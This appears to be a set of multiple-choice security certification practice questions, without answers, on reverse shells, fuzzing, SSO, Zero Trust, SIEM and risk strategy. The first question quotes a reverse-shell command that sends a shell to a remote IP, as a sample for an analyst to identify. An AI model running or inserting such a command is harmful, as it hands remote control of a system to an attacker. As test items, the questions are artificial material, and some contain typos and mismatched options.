A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?

• RCE

• Reverse shell

• XSS

• SQL injection

A security analyst would like to integrate two different SaaS-based security toots so that one tool can notify the other in the event a threat is detected. Which of the following should the analyst utilize to best accomplish this goal?

• SMB share

• API endpoint

• SMTP notification

• SNMP trap

A company is launching a new application in its internal network, where internal customers can communicate with the service desk. The security team needs to ensure the application will be able to handle unexpected strings with anomalous formats without crashing. Which of the following processes is the most applicable for testing the application to find how it would behave in such a situation?

• Fuzzing

• Coding review

• Debugging

• Static analysis

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason in the firewall feed stopped working?

• The firewall service account was locked out.

• The firewall was using a paid feed.

• The firewall certificate expired.

• The firewall failed open.

A security administrator has found indications of dictionary attacks against the company’s external-facing portal. Which of the following should be implemented to best mitigate the password attacks?

• Multifactor authentication

• Password complexity

• Web application firewall

• Lockout policy

Which of the following would eliminate the need for different passwords for a variety of internal applications?

• CASB

• SSO

• PAM

• MFA

Which of the following features is a key component of Zero Trust architecture?

• Single strong source of user identity

• Implementation of IT governance

• Business continuity plan

• Quality assurance

• Internal auditing process

When undertaking a cloud migration of multiple SaaS applications, an organization’s systems administrators struggled with the complexity of extending identity and access management to cloud-based assets. Which of the following service models would have reduced the complexity of this project?

• OpenID

• SDN

• ZTNA

• SWG

A security analyst needs to develop a solution to protect a high-value asset from an exploit like a recent zero-day attack. Which of the following best describes this risk management strategy?

• Avoid

• Transfer

• Accept

• Mitigate

An organization plans to use an advanced machine-learning tool as a central collection server. The tool will perform data aggregation and analysis. Which of the following should the organization implement?

• SIEM

• Firewalls

• Syslog server

• Flow analysis